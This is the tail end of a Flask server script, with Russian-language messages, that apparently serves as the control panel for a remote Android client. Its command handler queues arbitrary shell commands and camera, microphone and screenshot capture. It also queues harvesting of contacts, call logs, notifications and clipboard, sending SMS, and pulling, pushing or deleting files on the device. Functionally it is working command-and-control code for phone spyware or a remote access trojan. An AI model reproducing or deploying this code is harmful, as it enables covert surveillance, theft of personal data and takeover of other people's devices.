const outputArea = document.getElementById('outputArea');
const outputAreaShellCopy = document.getElementById('outputAreaShellCopy');
const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
const outputAreaMessagingCopy = document.getElementById('outputAreaMessagingCopy');
const outputAreaSystemCopy = document.getElementById('outputAreaSystemCopy');
const observer = new MutationObserver(() => {
if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText;
if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText;
if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText;
if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText;
if (outputAreaMessagingCopy && currentView === 'messaging') outputAreaMessagingCopy.innerText = outputArea.innerText;
if (outputAreaSystemCopy && currentView === 'system') outputAreaSystemCopy.innerText = outputArea.innerText;
});
observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
});
</script>
</body>
</html>
"""
@app.route('/')
def index():
return render_template_string(HTML_TEMPLATE)
@app.route('/send_command', methods=['POST'])
def handle_send_command():
global pending_command, command_output
data = request.json
command_output = "Ожидание выполнения..."
command_type = data.get('command_type')
if command_type == 'list_files':
pending_command = {'type': 'list_files', 'path': data.get('path', '.')}
elif command_type == 'request_download_file':
pending_command = {'type': 'upload_to_server', 'filename': data.get('filename'), 'is_preview': False}
elif command_type == 'request_preview_file':
pending_command = {'type': 'upload_to_server', 'filename': data.get('filename'), 'is_preview': True}
elif command_type == 'delete_file':
pending_command = {'type': 'delete_file', 'filename': data.get('filename')}
elif command_type == 'zip_and_upload_dir':
pending_command = {'type': 'zip_and_upload_dir', 'path': data.get('path')}
elif command_type == 'take_photo':
pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
elif command_type == 'record_audio':
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
elif command_type == 'screenshot':
pending_command = {'type': 'screenshot'}
elif command_type == 'shell':
pending_command = {'type': 'shell', 'command': data.get('command')}
elif command_type == 'receive_file':
server_filename = data.get('server_filename')
target_path = data.get('target_path_on_device')
file_path = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
if server_filename and target_path and os.path.exists(file_path):
pending_command = {
'type': 'receive_file',
'download_url': url_for('download_to_client', filename=server_filename, _external=True),
'target_path': target_path,
'original_filename': server_filename.split('_', 1)[1] if '_' in server_filename else server_filename
}
else:
command_output = f"Ошибка: Файл {server_filename} не найден на сервере."
elif command_type == 'clipboard_get':
pending_command = {'type': 'clipboard_get'}
elif command_type == 'clipboard_set':
pending_command = {'type': 'clipboard_set', 'text': data.get('text', '')}
elif command_type == 'open_url':
pending_command = {'type': 'open_url', 'url': data.get('url')}
elif command_type == 'get_device_status':
pending_command = {'type': 'get_device_status', 'item': data.get('item')}
elif command_type == 'get_notifications':
pending_command = {'type': 'get_notifications'}
elif command_type == 'get_contacts':
pending_command = {'type': 'get_contacts'}
elif command_type == 'send_sms':
pending_command = {'type': 'send_sms', 'number': data.get('number'), 'text': data.get('text')}
elif command_type == 'get_call_log':
pending_command = {'type': 'get_call_log'}
elif command_type == 'tts_speak':
pending_command = {'type': 'tts_speak', 'text': data.get('text')}
elif command_type == 'vibrate':
pending_command = {'type': 'vibrate', 'duration': data.get('duration', '1000')}
elif command_type == 'torch':
pending_command = {'type': 'torch', 'state': data.get('state', 'off')}
elif command_type == 'get_device_info':
pending_command = {'type': 'get_device_info'}
elif command_type == 'get_wifi_info':
pending_command = {'type': 'get_wifi_info'}
else:
command_output = "Неизвестный тип команды."
return jsonify({'status': 'command_queued'})
@app.route('/get_command', methods=['GET'])
def get_command():
global pending_command
if pending_command:
cmd_to_send = pending_command
pending_command = None
return jsonify(cmd_to_send)
return jsonify(None)
@app.route('/submit_client_data', methods=['POST'])
def submit_client_data():
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
data = request.json
if not data: return jsonify({'status': 'error', 'message': 'No data received'}), 400
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
if 'output' in data:
command_output = data['output']
if 'current_path' in data:
current_client_path = data['current_path']
if 'device_status_update' in data:
device_status_info.update(data['device_status_update'])
if 'notifications_update' in data:
notifications_history = data['notifications_update']
if 'contacts_update' in data:
contacts_list = data['contacts_update']
if 'heartbeat' in data and data['heartbeat'] and not any(k in data for k in ['output', 'device_status_update', 'notifications_update', 'contacts_update']):
command_output = "Клиент онлайн."
if 'preview_file' in data and 'mimetype' in data:
filename = data['preview_file']
mimetype = data['mimetype']
command_output = f"Файл '{filename}' готов к предпросмотру (MIME: {mimetype})."
return jsonify({'status': 'data_received', 'preview_file': filename, 'preview_mimetype': mimetype})
return jsonify({'status': 'data_received'})
@app.route('/upload_from_client', methods=['POST'])
def upload_from_client_route():
global command_output, last_client_heartbeat
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
if 'file' not in request.files:
return jsonify({'status': 'error', 'message': 'No file part'})
file = request.files['file']
is_preview = request.form.get('is_preview') == 'true'
if file.filename == '':
return jsonify({'status': 'error', 'message': 'No selected file'})
if file:
filename = werkzeug.utils.secure_filename(file.filename)
folder = app.config['PREVIEW_FOLDER'] if is_preview else app.config['UPLOAD_FOLDER']
base, ext = os.path.splitext(filename)
counter = 1
safe_filename = filename
filepath = os.path.join(folder, safe_filename)
while os.path.exists(filepath):
safe_filename = f"{base}_{counter}{ext}"
filepath = os.path.join(folder, safe_filename)
counter += 1
try:
file.save(filepath)
if is_preview:
mimetype = mimetypes.guess_type(safe_filename)[0] or 'application/octet-stream'
return jsonify({'status': 'success', 'filename': safe_filename, 'is_preview': True, 'mimetype': mimetype})
else:
command_output = f"Файл '{safe_filename}' успешно загружен С клиента."
return jsonify({'status': 'success', 'filename': safe_filename})
except Exception as e:
command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
return jsonify({'status': 'error', 'message': str(e)})
@app.route('/get_status_output', methods=['GET'])
def get_status_output_route():
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
preview_file_data = None
preview_folder = app.config['PREVIEW_FOLDER']
try:
preview_files = os.listdir(preview_folder)
if preview_files:
filename = preview_files[0]
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
preview_file_data = {'preview_file': filename, 'preview_mimetype': mimetype}
except Exception:
pass
response_data = {
'output': command_output,
'last_heartbeat': last_client_heartbeat,
'current_path': current_client_path,
'device_status': device_status_info,
'notifications': notifications_history,
'contacts': contacts_list
}
if preview_file_data:
response_data.update(preview_file_data)
return jsonify(response_data)
@app.route('/uploads_from_client/<path:filename>')
def uploaded_file_from_client(filename):
return send_from_directory(app.config['UPLOAD_FOLDER'], filename)
@app.route('/preview_content/<path:filename>')
def preview_content(filename):
return send_from_directory(app.config['PREVIEW_FOLDER'], filename)
@app.route('/clear_preview_file/<path:filename>', methods=['POST'])
def clear_preview_file_route(filename):
try:
secure_name = werkzeug.utils.secure_filename(filename)
file_path = os.path.join(app.config['PREVIEW_FOLDER'], secure_name)
if os.path.exists(file_path) and os.path.isfile(file_path):
os.remove(file_path)
return jsonify({'status': 'success', 'message': f'Файл {secure_name} удален из предпросмотра.'})
else:
return jsonify({'status': 'error', 'message': 'Файл предпросмотра не найден.'}), 404
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
@app.route('/delete_uploaded_file/<path:filename>', methods=['POST'])
def delete_uploaded_file_route(filename):
try:
secure_name = werkzeug.utils.secure_filename(filename)
file_path = os.path.join(app.config['UPLOAD_FOLDER'], secure_name)
if os.path.exists(file_path) and os.path.isfile(file_path):
os.remove(file_path)
return jsonify({'status': 'success', 'message': f'Файл {secure_name} удален.'})
else:
return jsonify({'status': 'error', 'message': 'Файл не найден.'}), 404
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
@app.route('/list_uploaded_files')
def list_uploaded_files_route():
files_details = []
upload_folder = app.config['UPLOAD_FOLDER']
try:
for f_name in os.listdir(upload_folder):
f_path = os.path.join(upload_folder, f_name)
if os.path.isfile(f_path):
stats = os.stat(f_path)
files_details.append({
'name': f_name,
'size': stats.st_size,
'mtime': stats.st_mtime
})
except Exception:
pass
files_details.sort(key=lambda x: x['mtime'], reverse=True)
return jsonify({'files': files_details})
@app.route('/upload_to_server_for_client', methods=['POST'])
def upload_to_server_for_client_route():
if 'file_to_device' not in request.files: return jsonify({'status': 'error', 'message': 'No file part'}), 400
file = request.files['file_to_device']
target_path = request.form.get('target_path_on_device')
if file.filename == '' or not target_path: return jsonify({'status': 'error', 'message': 'Missing file or path'}), 400
original_filename = werkzeug.utils.secure_filename(file.filename)
server_filename = str(uuid.uuid4()) + "_" + original_filename
filepath = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
try:
file.save(filepath)
return jsonify({
'status': 'success',
'server_filename': server_filename,
'target_path_on_device': target_path
})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
@app.route('/download_to_client/<filename>')
def download_to_client(filename):
return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7860, debug=False)